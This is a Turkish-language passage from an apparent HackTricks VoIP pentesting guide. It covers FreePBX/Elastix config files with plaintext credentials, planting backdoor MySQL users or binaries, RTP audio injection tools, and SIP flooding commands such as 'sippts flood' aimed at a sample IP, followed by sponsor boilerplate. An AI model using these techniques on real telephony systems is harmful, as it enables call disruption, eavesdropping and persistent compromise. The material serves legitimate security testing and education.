-> Web paneli yöneticisinin şifresini içerir (FreePBX).FreePBX.conf
-> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir.- bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
Elastix
Elastix.conf
-> mysql root şifresi, IMAPd şifresi, web admin şifresi gibi düz metin olarak birkaç şifre içerir.- Birçok klasör, tehlikeye atılmış asterisk kullanıcısına ait olacaktır (root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol edebilir, böylece Asterisk'in çalıştırıldığında başka arka kapılı ikili dosyaları yüklemesini sağlayabilir.
RTP Enjeksiyonu
.wav
dosyasını konuşmalara eklemek için rtpinsertsound
(sudo apt install rtpinsertsound
) ve rtpmixsound
(sudo apt install rtpmixsound
) gibi araçlar kullanılabilir.
Ya da http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ adresindeki scriptleri kullanarak konuşmaları tarayabilir (rtpscan.pl
), bir konuşmaya .wav
gönderebilir (rtpsend.pl
) ve bir konuşmaya gürültü ekleyebilirsiniz (rtpflood.pl
).
DoS
VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
SIPPTS flood
sippts'den: SIPPTS flood, hedefe sınırsız mesaj gönderir.sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
sippts'den: SIPPTS ping, sunucunun yanıt süresini görmek için bir SIP ping yapar.sippts ping -i 10.10.0.10
- IAXFlooder: Asterisk tarafından kullanılan DoS IAX protokolü.
- inviteflood: UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç.
- rtpflood: Birçok düzgün biçimlendirilmiş RTP paketi gönderir. Kullanılan RTP portlarını bilmek gerekir (önce sniff yapın).
- SIPp: SIP trafiğini analiz etme ve oluşturma imkanı sağlar, bu nedenle DoS için de kullanılabilir.
- SIPsak: SIP çok amaçlı alet. SIP saldırıları gerçekleştirmek için de kullanılabilir.
- Fuzzers: protos-sip, voiper.
OS Güvenlik Açıkları
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir OS dağıtımını indirmektir, örneğin: FreePBX, Elastix, Trixbox... Bu sistemlerin sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin bir daha güncellemeyebileceği ve güvenlik açıklarının zamanla keşfedileceğidir.
Referanslar
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın. Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.